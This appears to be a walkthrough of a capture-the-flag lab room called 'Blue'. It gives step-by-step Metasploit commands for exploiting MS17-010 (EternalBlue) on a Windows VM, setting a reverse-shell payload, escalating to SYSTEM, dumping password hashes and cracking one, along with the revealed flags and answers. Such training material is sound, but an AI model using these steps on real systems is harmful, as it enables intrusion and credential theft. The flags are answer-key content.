🪟Blue

Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

Room Attributes

Value

Subscription Required

False [Free]

Type

Walkthroughs

Difficulty

Medium

Video Walkthrough

Task 1 Recon

HINT: Command: nmap -sV -vv --script vuln TARGET_IP

No answer needed

How many ports are open with a port number under 1000?

HINT: Near the top of the nmap output: PORT STATE SERVICE

Reveal Flag 🚩

🚩3

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

HINT: Revealed by the ShadowBrokers, exploits an issue within SMBv1

Reveal Flag 🚩

🚩ms17-010

Task 2 Gain Access

Start Metasploit

HINT: Command: msfconsole

No answer needed

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

HINT: search ms??

Reveal Flag 🚩

🚩exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for submission)

HINT: Command: show options

Reveal Flag 🚩

🚩RHOSTS

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: `set payload windows/x64/shell/reverse_tcp` With that done, run the exploit!

HINT: Command: run (or exploit)

No answer needed

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

No answer needed

Task 3 Escalate

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

HINT: Google this: shell_to_meterpreter

Reveal Flag 🚩

🚩post/multi/manage/shell_to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

Reveal Flag 🚩

🚩SESSION

Set the required option, you may need to list all of the sessions to find your target here.

HINT: sessions -l

No answer needed

Run! If this doesn't work, try completing the exploit from the previous task once more.

HINT: Command: run (or exploit)

No answer needed

Once the meterpreter shell conversion completes, select that session for use.

HINT: sessions SESSION_NUMBER

No answer needed

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

No answer needed

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

No answer needed

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

No answer needed

Task 4 Cracking

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Reveal Flag 🚩

🚩Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

HINT: This password can be found within the rockyou.txt wordlist

Reveal Flag 🚩

🚩alqfna22

Task 5 Find flags!

Flag1? This flag can be found at the system root.

HINT: Can you C it?

Reveal Flag 🚩

🚩flag{access_the_machine}

Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

HINT: I wish I wrote down where I kept my password. Luckily it's still stored here on Windows.

Reveal Flag 🚩

🚩flag{sam_database_elevated_access}

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

HINT: You'll need to have elevated privileges to access this flag.

Reveal Flag 🚩

🚩flag{admin_documents_can_be_valuable}

PreviousIce NextAdvent of Cyber 4 (2022)

Last updated 3 years ago

hashtagVideo Walkthrough

hashtagTask 1 Recon

hashtagScan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmaparrow-up-right room)

hashtagHow many ports are open with a port number under 1000?

hashtagWhat is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

hashtagTask 2 Gain Access

hashtagStart Metasploitarrow-up-right

hashtagFind the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

hashtagShow options and set the one required value. What is the name of this value? (All caps for submission)

hashtagUsually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: set payload windows/x64/shell/reverse_tcp With that done, run the exploit!

hashtagConfirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

hashtagTask 3 Escalate

hashtagIf you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

hashtagSelect this (use MODULE_PATH). Show options, what option are we required to change?

hashtagSet the required option, you may need to list all of the sessions to find your target here.

hashtagRun! If this doesn't work, try completing the exploit from the previous task once more.

hashtagOnce the meterpreter shell conversion completes, select that session for use.

hashtagVerify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

hashtagList all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

hashtagTask 4 Cracking

hashtagWithin our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

hashtagCopy this password hash to a file and research how to crack it. What is the cracked password?

hashtagTask 5 Find flags!

hashtagFlag1? This flag can be found at the system root.

hashtagFlag2? This flag can be found at the location where passwords are stored within Windows.

hashtagflag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

Video Walkthrough

Task 1 Recon

Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)

How many ports are open with a port number under 1000?

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Task 2 Gain Access

Start Metasploit

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

Show options and set the one required value. What is the name of this value? (All caps for submission)

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter: `set payload windows/x64/shell/reverse_tcp` With that done, run the exploit!

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

Task 3 Escalate

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

Select this (use MODULE_PATH). Show options, what option are we required to change?

Set the required option, you may need to list all of the sessions to find your target here.

Run! If this doesn't work, try completing the exploit from the previous task once more.

Once the meterpreter shell conversion completes, select that session for use.

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

Task 4 Cracking

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Copy this password hash to a file and research how to crack it. What is the cracked password?

Task 5 Find flags!

Flag1? This flag can be found at the system root.

Flag2? This flag can be found at the location where passwords are stored within Windows.

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.